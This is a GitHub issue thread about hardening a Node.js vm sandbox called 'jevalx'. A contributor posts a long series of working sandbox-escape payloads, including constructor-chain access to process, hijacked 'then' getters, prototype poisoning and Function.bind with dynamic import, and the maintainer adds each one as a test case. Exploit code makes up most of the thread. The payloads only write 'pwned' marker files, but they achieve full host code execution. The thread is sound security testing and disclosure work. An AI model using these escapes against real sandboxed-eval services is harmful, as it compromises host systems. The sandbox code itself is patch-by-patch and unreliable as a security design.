  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
        promise.__proto__.then = oldThen;
    }
    return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});
XmiliaH commented 5 months ago
Reflect.defineProperty(Function.prototype, 'then', {
    get() {
        this();
    }
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
mgttt commented 5 months ago

these two Reflect/Function are suppose to be easy, as they should not be in sandbox. Will band them too. Update code soon @XmiliaH

mgttt commented 5 months ago

@XmiliaH done with test K and L.

BTW, is it possible to inject Function.prototype?

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        if ('function'==typeof_rst){ rst = rst() }

        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST CASE K and L

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
        promise.__proto__.then = oldThen;
    }
    return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
    get() {
        this();
    }
});
`
  try{
    console.log('KKKK result=',await jevalx(code));
  }catch(ex){
    console.log('KKKK ex=',typeof ex,ex);
  }
  console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
  try{
    console.log('LLLL result=',await jevalx(code));
  }catch(ex){
    console.log('LLLL ex=',typeof ex,ex);
  }
  console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});
XmiliaH commented 5 months ago

Sorry, I do not get what you mean by

BTW, is it possible to inject Function.prototype?

const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
    get() {
        this();
    }
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

and

this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})
mgttt commented 5 months ago

Great this is exactly what I mean... Let me investigate, thanks

Sorry, I do not get what you mean by

BTW, is it possible to inject Function.prototype?

const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
  get() {
      this();
  }
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

and

this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})
mgttt commented 5 months ago

done with test case M and N. @XmiliaH

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
const ObjectWtf = Object;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
  delete Object.prototype.__proto__;//
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        //if ('function'==typeof_rst){ rst = rst() }//todo support in future
        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
        if ('function'==typeof rst){ rst = {message:'EvilFunction'} }
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    Object = ObjectWtf;
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
        promise.__proto__.then = oldThen;
    }
    return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
    get() {
        this();
    }
});
`
  try{
    console.log('KKKK result=',await jevalx(code));
  }catch(ex){
    console.log('KKKK ex=',typeof ex,ex);
  }
  console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
  try{
    console.log('LLLL result=',await jevalx(code));
  }catch(ex){
    console.log('LLLL ex=',typeof ex,ex);
  }
  console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', { get() { this(); } });
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_m', ''))")
`
  try{
    console.log('MMMM result=',await jevalx(code));
  }catch(ex){
    console.log('MMMM ex=',typeof ex,ex);
  }
  console.log('MMMM check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned_case_n","") })
`
  try{
    console.log('NNNN result=',await jevalx(code));
  }catch(ex){
    console.log('NNNN ex=',typeof ex,ex);
  }
  console.log('NNNN check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});
XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
const obj = {
    get then() {
        Object.defineProperty(this, 'then', {
            get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
        });
        Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
    }
};
obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })
mgttt commented 5 months ago

done.

code:

https://github.com/wanjo-tech/vm2/blob/main/jevalx.js

test:

https://github.com/wanjo-tech/vm2/blob/main/test_jevalx.js

const Function = (_=>_).constructor;
const obj = {
  get then() {
      Object.defineProperty(this, 'then', {
          get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
      });
      Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
  }
};
obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })
XmiliaH commented 5 months ago
Object.getPrototypeOf(Object.getPrototypeOf(import('').catch(_=>_))).__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })

and

const Function = (_=>_).constructor;
const proto = {};
Object.defineProperty(proto, 'then', {
    get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
const obj = {
    __proto__: proto
};
obj
mgttt commented 5 months ago

done, test case q1 q2

https://github.com/wanjo-tech/vm2/blob/main/jevalx.js https://github.com/wanjo-tech/vm2/blob/main/test_jevalx.js

XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
const proto = {};
proto.__defineGetter__('then', Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))"));
const obj = {
    __proto__: proto
};
obj
mgttt commented 5 months ago

done, updated case q3.

XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
const proto = {};
Object.defineProperties(proto, {then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")}});
const obj = {
    __proto__: proto
};
obj
mgttt commented 5 months ago

done, case q4.

please keep posting, I'll try to fix all if any tomorrow, my sleep time came.. see ya

const Function = (_=>_).constructor;
const proto = {};
Object.defineProperties(proto, {then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")}});
const obj = {
  __proto__: proto
};
obj
XmiliaH commented 5 months ago
let u = false;
function t(o, e) {
    import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
    u = true;
    o(this);
}
const obj = {__proto__: {
    get then(){
        if (u) {
            u = false;
            return undefined;
        }
        return t;
    }
}};
obj
mgttt commented 5 months ago

done. test case q5

let u = false;
function t(o, e) {
  import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
  u = true;
  o(this);
}
const obj = {__proto__: {
  get then(){
      if (u) {
          u = false;
          return undefined;
      }
      return t;
  }
}};
obj
XmiliaH commented 5 months ago

With a small change my last attack still works. When writing and maintaining a sandbox it is cruial to understand the attacks and how they work. Since it seems to me that until now the fixes only try to prevent the specific posted version of a problem. I will this time not give the new version but challenge you to find and fix it.

mgttt commented 5 months ago

Understood, I'll try to find and fix it. In the mean while I'll try to add more test case and do the code clean-up

With a small change my last attack still works. When writing and maintaining a sandbox it is cruial to understand the attacks and how they work. Since it seems to me that until now the fixes only try to prevent the specific posted version of a problem. I will this time not give the new version but challenge you to find and fix it.

mgttt commented 5 months ago

@XmiliaH I added test case q6 and q7. hopefully the checking to the .proto can be defined now. would you have a review only when you are free and still willing to continue

XmiliaH commented 5 months ago

You can either delete Object.prototype.__proto__ in the sandbox or set it in the object literal {__proto__: ..., ["__proto__"]: undefined}

mgttt commented 5 months ago

Got it! thanks very much!!!

mgttt commented 5 months ago

the proto is checked, currently all cases seems clean?

When you have time, would please help to check? @XmiliaH

because I think if all the concepts should be proved... then it can be a tmp solution for the small sandbox usage...

XmiliaH commented 5 months ago

This still works:

let delay = 3;
function t(o, e) {
    import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
    o(this);
}
const obj = {__proto__: { __proto__: {
    get then(){
        if (delay-->0) return undefined;
        return t;
    }
}}};
obj
mgttt commented 5 months ago

introduced a findThenGetter() to detect in the hack in proto-chain.

It seems working good now!! thank you again! @XmiliaH

hope @j4k0xb have time to join the game, just want the thing finally works!

This still works:

let delay = 3;
function t(o, e) {
  import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
  o(this);
}
const obj = {__proto__: { __proto__: {
  get then(){
      if (delay-->0) return undefined;
      return t;
  }
}}};
obj
XmiliaH commented 5 months ago
let delay = 2;
function t(o, e) {
    import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
    o(this);
}
let obj = {__proto__: {
    get then(){
        if (delay-->0) return undefined;
        return t;
    }
}};
for(let i=0; i<9; i++) {const ret=obj;obj=()=>ret;}
obj
mgttt commented 5 months ago

you are right, a ground check after for-loop is added

https://github.com/wanjo-tech/vm2/blob/main/jevalx.js#L58

XmiliaH commented 5 months ago

Old things start to work again:


const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned", "");
        promise.__proto__.then = oldThen;
    }
    return oldThen.apply(this, arguments);
};
false

and

(_=>_).constructor.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
mgttt commented 5 months ago

both done (case I2 and J2). especially for the "function" now run again inside the sandbox, problem solved.

Old things start to work again:

const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
  if (global.process) {
      global.process.mainModule.require("fs").writeFileSync("pwned", "");
      promise.__proto__.then = oldThen;
  }
  return oldThen.apply(this, arguments);
};
false

and

(_=>_).constructor.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
XmiliaH commented 5 months ago
const O = constructor;
O.defineProperty(O.prototype, 'XXX', {get(){
    this.process.mainModule.require("fs").writeFileSync("pwned", "");
}, enumerable: true});
false

and

const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned", "");
    }
    return oldThen.apply(this, arguments);
};
Object.freeze(promise.__proto__);
false
mgttt commented 5 months ago

Oh I see what happened, thanks! Will fix few hours later


const O = constructor;

O.defineProperty(O.prototype, 'XXX', {get(){

  this.process.mainModule.require("fs").writeFileSync("pwned", "");

}, enumerable: true});

false

and


const promise = import('').catch(_=>_);

const oldThen = promise.__proto__.then;

const global = oldThen.constructor('return this')();

promise.__proto__.then = function() {

  if (global.process) {

      global.process.mainModule.require("fs").writeFileSync("pwned", "");

  }

  return oldThen.apply(this, arguments);

};

Object.freeze(promise.__proto__);

false
mgttt commented 5 months ago

fixed. added few changes: ) run the 'function' inside the sandbox again to protect ) add a timeout handling to the awaitable *) release Promise out ( because still want the sandbox have the Promise, until new unsolvable case came....)

currently all test cases passed as expected.

XmiliaH commented 5 months ago
this.constructor.__defineSetter__('freeze', f=>f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
false